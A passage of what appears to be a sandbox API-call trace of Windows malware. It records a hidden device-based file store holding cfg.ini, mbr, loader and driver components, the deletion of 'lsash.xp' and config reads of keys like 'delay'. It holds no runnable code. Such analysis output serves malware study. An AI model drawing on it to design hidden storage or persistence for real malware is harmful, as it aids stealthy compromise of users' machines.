(_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.175] KeLeaveCriticalRegion () [0118.175] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.176] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.176] KeEnterCriticalRegion () [0118.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c92000 [0118.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.176] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.176] IdePortDispatch () returned 0x103 [0118.176] KeWaitForMutexObject () returned 0x0 [0118.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.176] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.176] IdePortDispatch () returned 0x103 [0118.176] KeWaitForMutexObject () returned 0x0 [0118.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.176] KeLeaveCriticalRegion () [0118.176] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.177] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.177] KeEnterCriticalRegion () [0118.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.177] KeLeaveCriticalRegion () [0118.177] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.177] KeEnterCriticalRegion () [0118.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.177] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.177] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c8070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.177] KeLeaveCriticalRegion () [0118.177] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.177] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.177] KeEnterCriticalRegion () [0118.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.177] ExFreePoolWithTag (P=0xfffffa8003ad2c40, Tag=0x0) [0118.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.178] KeLeaveCriticalRegion () [0118.178] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.178] ReleaseMutex (hMutex=0xf0) returned 1 [0118.178] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.178] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.178] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.178] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.178] KeEnterCriticalRegion () [0118.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.178] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.178] IdePortDispatch () returned 0x103 [0118.178] KeWaitForMutexObject () returned 0x0 [0118.178] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.178] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.178] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.178] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.178] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.178] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.178] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.178] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.178] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.178] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.179] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.179] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.179] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.179] KeLeaveCriticalRegion () [0118.179] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.179] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.179] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.179] KeEnterCriticalRegion () [0118.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.179] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.179] IdePortDispatch () returned 0x103 [0118.179] KeWaitForMutexObject () returned 0x0 [0118.179] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.179] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.179] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.179] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.179] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.179] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.179] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.179] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.179] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.179] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.179] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.179] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.179] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.179] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.180] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.180] KeLeaveCriticalRegion () [0118.180] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.180] ReleaseMutex (hMutex=0x100) returned 1 [0118.180] Sleep (dwMilliseconds=0x2bf20) [0118.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69a3c8d0, dwHighDateTime=0x1d24fa4)) [0118.188] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.188] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.188] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.189] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.189] KeEnterCriticalRegion () [0118.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.189] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.189] IdePortDispatch () returned 0x103 [0118.189] KeWaitForMutexObject () returned 0x0 [0118.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.189] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.189] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.189] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.189] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.189] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ada7e0 [0118.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.189] KeLeaveCriticalRegion () [0118.189] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.189] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.189] KeEnterCriticalRegion () [0118.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.189] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.189] KeLeaveCriticalRegion () [0118.189] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.189] KeEnterCriticalRegion () [0118.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.190] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.190] IdePortDispatch () returned 0x103 [0118.190] KeWaitForMutexObject () returned 0x0 [0118.190] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.190] KeLeaveCriticalRegion () [0118.190] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.190] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.190] KeEnterCriticalRegion () [0118.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.190] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c95000 [0118.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.190] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.190] IdePortDispatch () returned 0x103 [0118.191] KeWaitForMutexObject () returned 0x0 [0118.191] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.191] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.191] IdePortDispatch () returned 0x103 [0118.191] KeWaitForMutexObject () returned 0x0 [0118.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.191] KeLeaveCriticalRegion () [0118.191] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.192] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.192] KeEnterCriticalRegion () [0118.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.192] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.192] KeLeaveCriticalRegion () [0118.192] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.192] KeEnterCriticalRegion () [0118.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.192] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.192] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.192] KeLeaveCriticalRegion () [0118.192] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.192] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.192] KeEnterCriticalRegion () [0118.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.192] ExFreePoolWithTag (P=0xfffffa8003ada7e0, Tag=0x0) [0118.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.192] KeLeaveCriticalRegion () [0118.192] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.192] ReleaseMutex (hMutex=0xf0) returned 1 [0118.192] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.192] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.192] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.192] KeEnterCriticalRegion () [0118.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.192] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.192] IdePortDispatch () returned 0x103 [0118.193] KeWaitForMutexObject () returned 0x0 [0118.193] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.193] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.193] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.193] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.193] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.193] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6060 [0118.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.193] KeLeaveCriticalRegion () [0118.193] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.193] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.193] KeEnterCriticalRegion () [0118.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.193] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.193] KeLeaveCriticalRegion () [0118.193] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.193] KeEnterCriticalRegion () [0118.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.194] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.194] IdePortDispatch () returned 0x103 [0118.194] KeWaitForMutexObject () returned 0x0 [0118.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.194] KeLeaveCriticalRegion () [0118.194] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.194] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.194] KeEnterCriticalRegion () [0118.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c96000 [0118.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.194] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.194] IdePortDispatch () returned 0x103 [0118.195] KeWaitForMutexObject () returned 0x0 [0118.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.195] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.195] IdePortDispatch () returned 0x103 [0118.195] KeWaitForMutexObject () returned 0x0 [0118.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.195] KeLeaveCriticalRegion () [0118.195] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.196] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.196] KeEnterCriticalRegion () [0118.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.196] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.196] KeLeaveCriticalRegion () [0118.196] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.196] KeEnterCriticalRegion () [0118.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.196] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.196] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c8070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.196] KeLeaveCriticalRegion () [0118.196] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.196] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.196] KeEnterCriticalRegion () [0118.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.196] ExFreePoolWithTag (P=0xfffffa8003aa6060, Tag=0x0) [0118.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.196] KeLeaveCriticalRegion () [0118.196] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.196] ReleaseMutex (hMutex=0xf0) returned 1 [0118.196] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.196] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.196] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | 